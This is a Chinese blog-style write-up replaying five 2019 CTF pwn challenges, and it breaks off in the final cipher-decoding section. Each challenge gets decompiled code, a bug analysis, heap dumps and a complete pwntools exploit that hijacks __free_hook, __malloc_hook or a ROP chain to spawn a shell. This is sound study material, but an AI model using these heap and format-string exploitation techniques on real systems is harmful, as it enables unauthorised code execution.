复现近几个月比赛不会做的题...

前言:

两个多月没咋学pwn了,看了一个多月v8没啥太大进展…,复现下近几个月的比赛,陆陆续续更新下…

suctf2019_二手破电脑:

19/08/30

程序分析

程序的开头会malloc一块内存,用来存放info指针:

1
ptr = do_init();

存储信息的info结构体如下:

1
2
3
4
5
6
00000000 info            struc ; (sizeof=0x10, mappedto_5)
00000000 comment_ptr dd ?
00000004 name_ptr dd ?
00000008 price dd ?
0000000C score dd ?
00000010 info ends

add一次可以得到如下chunk:

1
2
0x18 byte    用于存放info的chunk
size<= 0x200 用于存放 name的chunk

add函数调用的malloc_and_read存在offbyone,null字节溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void *__cdecl malloc_and_read(size_t size)
{
void *v1; // ST10_4
void *result; // eax
__int16 v3; // [esp+4h] [ebp-14h]
...
if ( size > 0x1FF )
size = 512;
v1 = malloc(size);
v3 = '%';
sprintf((char *)&v3 + 1, "%ds", size);
__isoc99_scanf(&v3, v1);
...
return result;
}

这里printf根据size输入字符串后会在末尾加上’\x00’,可以溢出了一个字节

add_comment函数这里读入信息直接使用的read,不会自己加上\x00,可以泄露垃圾数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
info *__cdecl comment(int a1)
{
info *v1; // esi
info *result; // eax
int idx; // [esp+8h] [ebp-10h]
int v4; // [esp+Ch] [ebp-Ch]
printf("Index: ");
__isoc99_scanf("%d", &idx);
if ( idx < 0 || idx > 9 || !*(_DWORD *)(4 * idx + a1) || **(_DWORD **)(4 * idx + a1) )
return (info *)puts("Too young");
printf("Comment on %s : ", *(_DWORD *)(*(_DWORD *)(4 * idx + a1) + 4));// name
v1 = *(info **)(4 * idx + a1);
v1->comment_ptr = (int)malloc(0x8Cu);
read(0, **(void ***)(4 * idx + a1), 0x8Cu);
printf("And its score: ");
__isoc99_scanf("%d", &v4);
result = *(info **)(4 * idx + a1);
result->score = v4;
return result;
}

利用思路

首先使用comment泄露出libc的地址:

1
2
3
4
5
6
7
8
9
10
add(0x10,'A\n',10)#0
comment(0,'A',10)

add(0x10,'A\n',10)#1
delete(0)# comment_0 放入到unsorted bin 中
comment(1,"A"*4,10)
delete(1)
a.recvuntil("A"*4)
libc_base=u32(a.recv(4))-48-libc.symbols["__malloc_hook"]-0x18
success("libc_base ==> 0x%x"%libc_base)

然后利用offbyone构造堆块重叠.这里的info_5是用来泄露libc的,在堆块重叠之前free掉info_5,这样它的name chunk会进入到unsorted bin,发生合并重叠后,unsorted bin里会有两个chunk,这样info5的name chunk的bk就会有heap的地址,再利用增加comment申请掉这个chunk,就可以泄露出heap的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(0x8c,'/bin/sh\x00\n',10)#0 清空unsorted bin
add(0x14,'A\n',10)#1

add(0xfc,'/bin/sh\x00'+'\n',10)#2 name chunk -> 0x56559120
add(0xfc,'/bin/sh\x00'+'\n',10)#3 info chunk -> 0x56559220 name_chunk -> 0x56559238
delete(1)
add(0xfc,"A\n",10)#1 0x56559320
add(0xfc,'A\n',10)#4
add(0x8c,'A\n',10)#5 用来free到 unsorted bin 中,然后泄露heap
add(0x14,'A\n',10)#6 防止合并
#debug()
delete(1)
add(0xfc,'/bin/sh\x00'+'A'*0xf0+p32(0x300+0x18)+'\n',10)#4
#debug()
delete(5)
delete(2)#绕过unlink检查
delete(4)#合并

这里注意要构造出存放info的chunk在重叠的堆块之中的情况,这样可以修改info chunk进行后续的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0x56f7e120 PREV_INUSE {
prev_size = 0,
size = 257,
fd = 0x6e69622f,
bk = 0x68732f,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x56f7e220 FASTBIN {# add(0xfc,'/bin/sh\x00'+'\n',10)#3 info chunk -> 0x56559220 name_chunk -> 0x56559238
prev_size = 0,
size = 25,
fd = 0x0,
bk = 0x56f7e240,
fd_nextsize = 0xa,
bk_nextsize = 0x0
}
0x56f7e238 PREV_INUSE {
prev_size = 0,
size = 257,
fd = 0x6e69622f,
bk = 0x68732f,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x56f7e338 PREV_INUSE {
prev_size = 0,
size = 257,
fd = 0x41,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x56f7e438 PREV_INUSE {
prev_size = 0,
size = 257,
fd = 0x41,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

构造堆块重叠后,修改info chunk的name指针指向该chunk的前面,利用rename函数再次修改name指针为free_hook,后续的morepower操作可以再次修改一次name,这样就可以修改free_hook为system函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
comment(0,'A'*4,10)
delete(0)
a.recvuntil("A"*4)
heap_base=u32(a.recv(4))-0x120
success("heap_base ==> 0x%x"%heap_base)
payload='A'*0xe8+p32(0)+p32(0xa8+1)+'A'*8
payload+=p32(0)+p32(0x18+1)+'AAA\x00'
payload+=p32(heap_base+0x218)
payload+=p32(0x21)*40+'\n'
#debug()
add(0x1fc,payload,0x10)
rename(3,p32(__free_hook)*6,p32(system_addr))
a.interactive()

这里注意第一次修改name_ptr的时候,要伪造好chunk,malloc_usable_size函数为检查指向的chunk是否为inuse的,如果是inuse会返回该chunk的size - 4

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#coding=utf-8
from pwn import *
local = 1
context.terminal=["tmux","splitw","-h"]
elf=ELF("./pwn")
if local:
a=process("./pwn")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:
a=remote("",)
libc=ELF("")
def debug():
gdb.attach(a,'''
b *(0x56555000+0x0000BFA)
b *(0x56555000+0x00000D4B)
b *(0x56555000+0x0000EA7)
b *(0x56555000+0x000118F)
b *(0x00012BA+0x56555000)
''')
def menu(idx):
a.recvuntil(">>> ")
a.sendline(str(idx))

def add(size,name,price):
menu(1)
a.recvuntil("Name length: ")
a.sendline(str(size))
a.recvuntil("Name: ")
a.send(name)
a.recvuntil("Price: ")
a.sendline(str(price))

def delete(idx):
menu(3)
a.recvuntil("WHICH IS THE RUBBISH PC? Give me your index: ")
a.sendline(str(idx))

def comment(idx,com,s):
menu(2)
a.recvuntil("Index: ")
a.sendline(str(idx))
a.recvuntil("Comment on ")
name=a.recvuntil(" : ",drop=True)
a.send(com)
a.recvuntil("And its score: ")
a.sendline(str(s))

def rename(idx,content,s):
menu(4)
a.recvuntil("Give me an index: ")
a.sendline(str(idx))
sleep(0.1)
a.send(content)
a.recvuntil("Wanna get more power?(y/n)")
a.sendline("y")
a.recvuntil(": ")
a.sendline("e4SyD1C!")
a.recvuntil("y Pwner")
a.sendline(s)

add(0x10,'A\n',10)#0
comment(0,'A',10)

add(0x10,'A\n',10)#1
delete(0)
comment(1,"A"*4,10)
delete(1)
a.recvuntil("A"*4)
libc_base=u32(a.recv(4))-48-libc.symbols["__malloc_hook"]-0x18
success("libc_base ==> 0x%x"%libc_base)
#debug()
__free_hook=libc_base+libc.symbols["__free_hook"]
system_addr=libc_base+libc.symbols["system"]
add(0x8c,'/bin/sh\x00\n',10)#0 清空unsorted bin
add(0x14,'A\n',10)#1

add(0xfc,'/bin/sh\x00'+'\n',10)#2 name chunk -> 0x56559120
add(0xfc,'/bin/sh\x00'+'\n',10)#3 info chunk -> 0x56559220 name_chunk -> 0x56559238
delete(1)
add(0xfc,"A\n",10)#1 0x56559320
add(0xfc,'A\n',10)#4
add(0x8c,'A\n',10)#5 用来free到 unsorted bin 中,然后泄露heap
add(0x14,'A\n',10)#6 防止合并
#debug()
delete(1)
add(0xfc,'/bin/sh\x00'+'A'*0xf0+p32(0x300+0x18)+'\n',10)#4
#debug()
delete(5)
delete(2)#绕过unlink检查
delete(4)#合并
comment(0,'A'*4,10)
delete(0)
a.recvuntil("A"*4)
heap_base=u32(a.recv(4))-0x120
success("heap_base ==> 0x%x"%heap_base)
payload='A'*0xe8+p32(0)+p32(0xa8+1)+'A'*8
payload+=p32(0)+p32(0x18+1)+'AAA\x00'
payload+=p32(heap_base+0x218)
payload+=p32(0x21)*40+'\n'
#debug()
add(0x1fc,payload,0x10)
rename(3,p32(__free_hook)*6,p32(system_addr))

a.interactive()

de1ctf2019_unprintable

19/08/31

分析:

利用栈上留下的指针劫持exit函数的执行流:

1
2
3
4
5
6
7
8
9
10
RBX  0x7f7ec22d9168 ◂— 0x0
R12 0x600dd8 (__do_global_dtors_aux_fini_array_entry)
0x7f7ec20c2dd4 <_dl_fini+788> add r12, qword ptr [rbx] <0x600dd8>
...
RDX 0x0
0x7f7ec20c2df3 <_dl_fini+819> call qword ptr [r12 + rdx*8] <0x4006e0>
rdi: 0x7f7ec22d8948 (_rtld_global+2312) ◂— 0x0
rsi: 0x0
rdx: 0x0
rcx: 0x4

这里的0x7f7ec22d9168就保存在栈上,可以利用格式化串修改它的值,将r12指向bss段上可控的buf里,这样就可以劫持exit的执行流,再次执行一次printf.
在第一次执行printf的时候还可以修改栈中的指针指向第二次执行printf的返回地址,第二次执行printf的时候就可以利用这个指针修改自己的返回地址,这样就可以造成无限循环使用printf

修改stdout的fileno:

程序关闭了stdout,修改stdout的fileno为2,这样就可以让程序重新输出:

ROP:

栈转移:

1
0x000000000040082d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

利用格式化串修改printf的返回地址和和返回地址下面一格的位置,将栈转移到可控的buf里

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#coding=utf-8
from pwn import *

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./unprintable")
context.terminal=["tmux","splitw","-h"]
def debug():
gdb.attach(a,'''
b *(0x0000000004007C1)
b *0x000000000601160
''')
def fsb(payload):
sleep(0.5)
a.send(payload)
flag=False
pop_rbp_ret=0x0000000000400690
pop_rsp_pop3_ret=0x000000000040082d#pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
add_ret=0x0000000004006E8 # adc [rbp+48h], edx
#target=0x60101f
stdout=0x000000000601020
pop_rbx_pop5_ret=0x00000000040082A
pop_rdi_ret=0x0000000000400833
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
while 1:
if flag == True:
break

a=process("./unprintable")
fini_addr=0x600dd8
a.recvuntil("This is your gift: ")
stack_addr=eval(a.recv(14))
if stack_addr&0xffff < 0x2000:

success("stack_addr ==> 0x%x"%stack_addr)
sec_printf_ret=stack_addr-0x120
success("printf_ret ==> 0x%x"%sec_printf_ret)

payload="%748c%26$n"# 修改指针
payload+='%'+str((sec_printf_ret&0xffff)-748)+'c'+"%11$hn"
payload=payload.ljust(100,'\x00')
payload+=p64(0x0000000004007A3)
a.recvuntil("\n")
a.send(payload.ljust(0x1000,'\x00'))
ret_addr=0x4007A3&0xffff

if ((sec_printf_ret+8)&0xffff)-0x7a3 < 0 :
flag=False
continue

payload='%'+str(ret_addr)+'c'+"%72$hn"+'\x00' # 修改printf的返回地址
a.send(payload.ljust(0x1000,'\x00'))
payload='%'+str(ret_addr)+'c'+"%72$hn"
payload+="%"+str(((sec_printf_ret+8)&0xffff)-0x7a3)+"c"+"%60$hn"
a.send(payload.ljust(0x1000,'\x00'))

payload='%'+str(ret_addr)+'c'+"%72$hn"
payload+='%'+str((0x000000000601160&0xffff)-0x7a3)+'c'+"%74$hn"
a.send(payload.ljust(0x1000,'\x00'))

payload='%'+str(ret_addr)+'c'+"%72$hn"
payload+="%"+str(((sec_printf_ret+8+2)&0xffff)-0x7a3)+"c"+"%60$hn"
a.send(payload.ljust(0x1000,'\x00'))

payload='%'+str(((0x000000000601160>>16)&0xffff))+'c'+"%74$hn"
payload+='%'+str(ret_addr-((0x000000000601160>>16)&0xffff))+'c'+"%72$hn"
a.send(payload.ljust(0x1000,'\x00'))

payload='%'+str(ret_addr)+'c'+"%72$hn"
payload+="%"+str(((sec_printf_ret+8+4)&0xffff)-0x7a3)+"c"+"%60$hn"
a.send(payload.ljust(0x1000,'\x00'))

payload="%74$hn"
payload+='%'+str(ret_addr)+'c'+"%72$hn"
a.send(payload.ljust(0x1000,'\x00'))
#debug()

target_addr=stack_addr-0x68
payload='%'+str(ret_addr)+'c'+"%72$hn"
payload+="%"+str((target_addr&0xffff)-0x7a3)+"c"+"%60$hn"
a.send(payload.ljust(0x1000,'\x00'))


payload="%"+str(0x690)+"c%74$hn"
payload+='%'+str(ret_addr-0x690)+'c'+"%72$hn"
a.send(payload.ljust(0x1000,'\x00')) # 这步需要set下
#debug()
payload="%2c%28$hn"
payload+='%'+str(ret_addr-2)+'c'+"%72$hn"
a.send(payload.ljust(0x1000,'\x00')) # 将fileno = 2

payload='%'+str(pop_rsp_pop3_ret&0xffff)+'c'+"%72$hn"
payload=payload.ljust(0x100,'\x00')
rop=p64(1)*3#temp
rop+=p64(pop_rdi_ret)
rop+=p64(puts_got)
rop+=p64(puts_plt)
rop+=p64(0x00000000040082A)#foot
rop+=p64(0)
rop+=p64(1)
rop+=p64(elf.got["read"])
rop+=p64(0x3000)
rop+=p64(0x000000000601160+14*8+56)
rop+=p64(0)
rop+=p64(0x000000000400810)
rop+='A'*56
payload+=rop
a.send(payload.ljust(0x1000,'\x00'))
puts_addr=u64(a.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
success("puts_addr ==> 0x%x"%puts_addr)
libc_base=puts_addr-libc.symbols["puts"]
system_addr=libc_base+libc.symbols["system"]
bin_sh_addr=libc_base+next(libc.search("/bin/sh"))
pop5_ret=0x000000000040082b
rop2=(p64(pop5_ret)+p64(0)*5)*100
rop2+=p64(pop_rdi_ret)
rop2+=p64(bin_sh_addr)
rop2+=p64(system_addr)
a.send(rop2.ljust(0x3000,'\x00'))
flag=True
a.interactive()
else:
a.close()
continue

SCTF2019-one_heap

19/08/31

分析

程序是2.27的,没有打印功能,且保护全开。
add函数只能malloc size<0x88的chunk:

1
2
3
4
5
6
7
8
9
10
v0 = read_str2l();
v1 = (signed int)v0;
if ( v0 > 0x7F )
{
puts("Invalid size!");
goto LABEL_5;
}
_printf_chk(1LL, "Input the content:");
ptr = malloc(v1);
my_read(ptr, v1);

delete函数中存在UAF:

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 delete()
{
unsigned __int64 v1; // [rsp+8h] [rbp-10h]
v1 = __readfsqword(0x28u);
if ( !free_times )
exit(0);
free(ptr);
puts("Done!");
--free_times;
return __readfsqword(0x28u) ^ v1;
}

delete函数有次数限制,只能free 4次:

1
2
3
.data:0000000000202010 malloc_times    dd 15                   ; DATA XREF: new+15↑r
.data:0000000000202010 ; new+7E↑w
.data:0000000000202014 free_times dd 4 ; DATA XREF: delete+14↑r

思路

如果没有free次数的限制,则可以连续free 一个size不属于fastbin的chunk 8次,这样他在tcache和unsorted bin中都存在,且fd指向了libc内部,再申请一个小chunk进行部分覆写,即可指向stdout进行信息泄露.
这道题只能free 4次,参考wp是将chunk申请到tcache_perthread_struct,写入\xff将tcache填满,然后再将存放tcache_perthread_struct的chunk free掉,这样它就进入了unsorted bin中,再次申请一个小chunk,会从unsorted bin chunk中进行切割,然后会在tcache_perthread_struct中存放指针的位置写入libc的地址,再进行部分覆写即可指向stdout进行泄露.

将chunk申请到tcache_perthread_struct
1
2
3
4
5
6
a=process("./one_heap")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
add(0x78,'A\n')
delete()
delete()
add(0x78,'\x10\x70\n')

此时tcache的情况如下:

1
2
tcachebins
0x80 [ 1]: 0x555555757260 —▸ 0x555555757010 ◂— 0x1000000000000

然后连续add两次申请tcache_perthread_struct

1
2
add(0x78,'A\n')
add(0x78,'\x00'*5+'\xff'*31+'\n')

free掉tcache_perthread_struct
1
delete()

bins的情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
tcachebins
0x20 [-96]: 0x0
0x30 [ -4]: 0x0
0x40 [-36]: 0x0
0x50 [ -9]: 0x0
0x60 [ -1]: 0x0
0x70 [127]: 0x0
0xa0 [-96]: 0x0
0xb0 [ -4]: 0x0
0xc0 [-36]: 0x0
0xd0 [ -9]: 0x0
0xe0 [ -1]: 0x0
0xf0 [127]: 0x0
0x120 [ -1]: 0x0
0x130 [ -1]: 0x0
0x140 [ -1]: 0x0
...
0x240 [ -1]: 0x0
0x250 [ -1]: 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555757000 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x555555757000
smallbins
empty

再add一个chunk:

1
add(0x48,'A\n')

此时tcache的情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
tcachebins
0x20 [ 65]: 0x0
0x30 [ -2]: 0x201
0x40 [-36]: 0x7ffff7dcfca0 (main_arena+96) —▸ 0x5555557572d0 ◂— 0x0
0x50 [ -9]: 0x7ffff7dcfca0 (main_arena+96) —▸ 0x5555557572d0 ◂— 0x0
0x60 [ -1]: 0x0
0x70 [127]: 0x0
0xa0 [-32]: 0x0
0xb0 [ -2]: 0x0
0xc0 [-36]: 0x0
0xd0 [ -9]: 0x0
0xe0 [ -1]: 0x0

进行部分覆写:
1
add(0x18,'\x60\x07\n')

此时tcache:

1
2
3
4
5
6
7
8
9
tcachebins
0x20 [ 65]: 0x0
0x30 [ -2]: 0x21
0x40 [-36]: 0x7ffff7dd0760 (_IO_2_1_stdout_) ◂— 0xfbad2887
0x50 [ -9]: 0x7ffff7dcfca0 (main_arena+96) —▸ 0x5555557572d0 ◂— 0x0
0x60 [ -1]: 0x0
0x70 [127]: 0x1e1
0x80 [ 0]: 0x7ffff7dcfca0 (main_arena+96) —▸ 0x5555557572d0 ◂— 0x0
0x90 [ 0]: 0x7ffff7dcfca0 (main_arena+96) —▸ 0x5555557572d0 ◂— 0x0

然后申请到stdout后泄露信息

完整exp:

开启ASLR后进行调试,用其中的一种情况进行爆破,理论上概率是1/256,实际上概率挺大的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding=utf-8
from pwn import *
local = 1
context.terminal=["tmux","splitw","-h"]

def debug():
gdb.attach(a,'''
b *(0x555555554000+0x000000000000D42)
b *(0x555555554000+0x000000000000DCD)
''')
def menu(index):
a.recvuntil("Your choice:")
a.sendline(str(index))
def add(size,content):
menu(1)
a.recvuntil("Input the size:")
a.sendline(str(size))
a.recvuntil("Input the content:")
a.send(content)
def delete():
menu(2)

while 1:
try:
a=process("./one_heap")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
add(0x78,'A\n')
delete()
delete()
#debug()
add(0x78,'\x10\x60\n')
add(0x78,'A\n')
add(0x78,'\x00'*5+'\xff'*31+'\n')
delete()
add(0x48,'A\n')
add(0x18,'\x60\x57\n')
payload=p64(0xfbad1800)+p64(0)*3+'\x60\n'
#debug()
add(0x38,payload)
libc_base=u64(a.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-libc.symbols["_IO_2_1_stdout_"]
success("libc_base ==> 0x%x"%libc_base)
__free_hook=libc_base+libc.symbols["__free_hook"]
system_addr=libc_base+libc.symbols["system"]
#debug()
add(0x18,p64(__free_hook)+'\n')
add(0x78,p64(system_addr)+'\n')
add(0x18,"/bin/sh\x00\n")
delete()
a.interactive()
except :
a.close
continue

中关村ctf-two_string

19/09/01

分析

my_read函数中,当len为0的时候不会加上\x00截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned __int64 __fastcall my_read(__int64 a1, unsigned __int64 len)
{
int v2; // eax
int v3; // eax
char buf; // [rsp+1Fh] [rbp-11h]
int v6; // [rsp+20h] [rbp-10h]
int v7; // [rsp+24h] [rbp-Ch]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
v6 = 0;
while ( v6 < len )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
{
puts("Read error!");
exit(-1);
}
if ( buf == 10 )
{
buf = 0;
v2 = v6++;
*(_BYTE *)(a1 + v2) = 0;
break;
}
v3 = v6++;
*(_BYTE *)(a1 + v3) = buf;
}
if ( len )
*(_BYTE *)(len - 1 + a1) = 0;
return __readfsqword(0x28u) ^ v8;
}

merge_string这个函数看起来是拼接两个函数其实是将一个字符串*2.

merge_strings函数这里是将选定的几个字符串使用strcat拼接起来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
  printf("Please enter a sequence of strings to be merged : ");
v6 = 0x400;
ptr = malloc(0x400uLL);
if ( !ptr )
{
puts("Malloc error!");
exit(-1);
}
for ( i = 0; ; ++i )
{
_isoc99_scanf("%d", &v10[i]);
if ( (unsigned __int8)getchar() == 10 || i == 9 )
break;
}
if ( !i )
{
puts("Merge completed!");
LABEL_38:
free(ptr);
return __readfsqword(0x28u) ^ v11;
}
v5 = 0;
v7 = 0;
for ( j = 0; j <= i; ++j )
{
if ( v10[j] < 0 && (unsigned int)v10[j] > 0x1F || !info_ptr[v10[j]] )
{
puts("Some error!");
goto LABEL_38;
}
if ( v5 > 0x400 && !v7 )
v7 = 1;
v5 += info_ptr[v10[j]][1];
}

这里会将这个几个字符串的size加起来,然后判断是否大于0x400,如果不大于就用strcat进行拼接.
这里就可以利用my_read函数当len为0的时候不加\x00进行截断来溢出。

思路:

add一个size为0的string,存放string的chunk就不会添加\x00进行截断,这样就可以利用chunk里的脏数据,例如从unsorted bin chunk中进行切割就可以获得脏数据。通过show函数就可以泄露libc
提前准备两个这样size为0,且有脏数据的string chunk,再准备一个size为0x400的chunk,这样再进行size累加计算的时候就是0x400+0+0=0x400,并没有超过0x400。
在merge_strings中,strcat拼接的时候会从脏数据的末尾开始拼接,这样就可以进行溢出. libc中的地址一般为6字节,两个就是12字节,这样一共就是0x40c。
malloc(0x400)得到的是大小为0x408字节的chunk,这样就溢出了4字节.

通过溢出造成chunk overlap,将chunk申请到malloc_hook即可.

泄露libc:
1
2
3
4
5
6
7
8
9
add(0x188,'A\n')#0
#debug()
delete(0)# string chunk in unsorted bin
add(0,'')#0
add(0,'')#1
show(1)
a.recvuntil("are : ")
libc_base=u64(a.recv(6).ljust(8,'\x00'))-88-libc.symbols["__malloc_hook"]-0x10
success("libc_base ==> 0x%x"%libc_base)

chunk1是从unsorted bin 中切割的

构造chunk布局:
1
2
3
4
5
6
7
add(0x128-0x20-0x20,'A\n')#2 先malloc掉 unsorted bin chunk

add(0x400,'A\n')#3
add(0x68,'A\n')#4
add(0x68,'A\n')#5
add(0x18,'A\n')#6
add(0x16,'A\n')#7

提前申请一个0x400字节的chunk3是为了后面merge_strings时申请到这个chunk进行溢出
先malloc掉unsorted bin chunk,是为了后面获得有脏数据的chunk

溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
delete(2) #放入到unsorted bin中

add(0,'')#2
add(0,'')#8 有脏数据
add(0,'')#9 有脏数据

add(0x400,'A'*(0x400-4)+'\x21\x01\x00\x00')#10,布置好溢出的数据
delete(3)# free掉 chunk3,为了merge_strings申请到这个chunk
merge_strings("8 9 10")
delete(4)
delete(5)
__malloc_hook=libc_base+libc.symbols["__malloc_hook"]
payload='A'*0x68+p64(0x21)
payload+='\x00'*(0x88-0x70)+p64(0x71)+p64(__malloc_hook-0x23)
add(0xe0-8,payload+'\n')
add(0x68,'A\n')
one=libc_base+0xf1147
add(0x68,'A'*0x13+p64(one)+'\n')
a.interactive()

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#coding=utf-8
from pwn import *
local = 1
exec_file="./pwn"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file)
if local :
a=process(exec_file)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("")
def debug():
gdb.attach(a,'''
b *(0x555555554000+0x000000000000DC4)
b *(0x555555554000+0x000000000000F20)
b *(0x555555554000+0x000000000000E54)
b *(0x555555554000+0x0000000000011C1)
''')
def menu(idx):
a.sendlineafter(">>> ",str(idx))
def add(size,content):
menu(1)
a.sendlineafter("Please enter the size of string : ",str(size))
a.sendafter("Please enter the string : ",content)
def delete(idx):
menu(3)
a.sendlineafter("Please input index : ",str(idx))
def show(idx):
menu(2)
a.sendlineafter(" index : ",str(idx))
def merge_string(idx_1,idx_2):
menu(4)
a.sendlineafter("Please enter the first string index : ",str(idx_1))
a.sendlineafter("string index : ",str(idx_2))
def merge_strings(s):
menu(5)
a.sendlineafter("ngs to be merged : ",s)
add(0x188,'A\n')#0
#debug()
delete(0)# string chunk in unsorted bin
add(0,'')#0
add(0,'')#1
show(1)
a.recvuntil("are : ")
libc_base=u64(a.recv(6).ljust(8,'\x00'))-88-libc.symbols["__malloc_hook"]-0x10
success("libc_base ==> 0x%x"%libc_base)

add(0x128-0x20-0x20,'A\n')#2 先malloc掉 unsorted bin chunk

add(0x400,'A\n')#3
add(0x68,'A\n')#4
add(0x68,'A\n')#5
add(0x18,'A\n')#6
add(0x16,'A\n')#7
delete(2)
#debug()
add(0,'')#2

add(0,'')#8
add(0,'')#9
add(0x400,'A'*(0x400-4)+'\x21\x01\x00\x00')#10
delete(3)
merge_strings("8 9 10")
delete(4)
delete(5)
__malloc_hook=libc_base+libc.symbols["__malloc_hook"]
payload='A'*0x68+p64(0x21)
payload+='\x00'*(0x88-0x70)+p64(0x71)+p64(__malloc_hook-0x23)
add(0xe0-8,payload+'\n')
add(0x68,'A\n')
one=libc_base+0xf1147
add(0x68,'A'*0x13+p64(one)+'\n')
a.interactive()

QWB2019 trywrite

19/9/2

分析

程序这里自己实现了一个堆,后面的my_malloc基本是从实现的堆里分配.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
puts("Please tell me where is your heap:");
v3 = get_ul();
addr = v3;
if ( v3 )
{
if ( (v3 & 0xFF0000) == 0xFF0000LL || !(v3 & 0xFF0000) )
addr = v3 + 0x80000LL;
heap_addr = mmap((void *)addr, size[0], 3, 50, -1, 0LL);
}
else
{
heap_addr = mmap((void *)qword_203010, size[0], 3, 50, -1, 0LL);
}
top_chunk = heap_addr;
*(_QWORD *)(heap_addr + 8LL) = size[0] + 1; // size ,prev_inuse

my_malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
signed __int64 ret_addr_8; // ST18_8
signed __int64 v3; // ST10_8
void *ret_addr; // [rsp+10h] [rbp-10h]

ret_addr = malloc(size);
if ( (unsigned __int64)ret_addr > heap_addr && (unsigned __int64)ret_addr < heap_addr + ::size[0] )
return ret_addr;
ret_addr_8 = top_chunk + 8LL * ((size + 16) / 8);// 字节对齐
*(_QWORD *)(ret_addr_8 + 8) = *(_QWORD *)(top_chunk + 8LL) - (size + 16);// 切割假的topchunk
*(_QWORD *)(top_chunk + 8LL) = size + 17;
v3 = top_chunk + 16LL; // 返回user data
top_chunk = ret_addr_8; // 新的 top chunk
return (void *)v3;

打印函数打印的内容是加密过的。
加密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __fastcall sub_F5E(unsigned int *a1, unsigned int *a2, _DWORD *key)
{
unsigned int first; // [rsp+24h] [rbp-14h]
unsigned int second; // [rsp+28h] [rbp-10h]
unsigned int v5; // [rsp+2Ch] [rbp-Ch]
signed int i; // [rsp+30h] [rbp-8h]
first = *a1;
second = *a2;
v5 = 0;
for ( i = 0; i <= 15; ++i )
{
v5 -= 0x61C88647;
first += (second + v5) ^ (16 * second + *key) ^ ((second >> 5) + key[1]);
second += (first + v5) ^ (16 * first + key[2]) ^ ((first >> 5) + key[3]);
}
*a1 = first;
*a2 = second;
}

mov [rbp+var_4], 9E3779B9h
mov [rbp+var_8], 0
jmp short loc_1011

v5这里每次会加上0x9E3779B9,那么循环16次会溢出

从gdb中查看v5最终是多少

1
2
pwndbg> x/wx 0x7fffffffdf20-0xc
0x7fffffffdf14: 0xe3779b90

倒着解密即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def decode(first,second,key):
first=c_uint32(first)
second=c_uint32(second)
v5=c_uint32(0xe3779b90)
for i in range(16):
# 倒着减
second.value -= (first.value + v5.value) ^ (16 * first.value + key[2]) ^ ((first.value >> 5) + key[3])
first.value -= (second.value + v5.value) ^ (16 * second.value + key[0]) ^ ((second.value >> 5) + key[1])
v5.value -= 0x9E3779B9
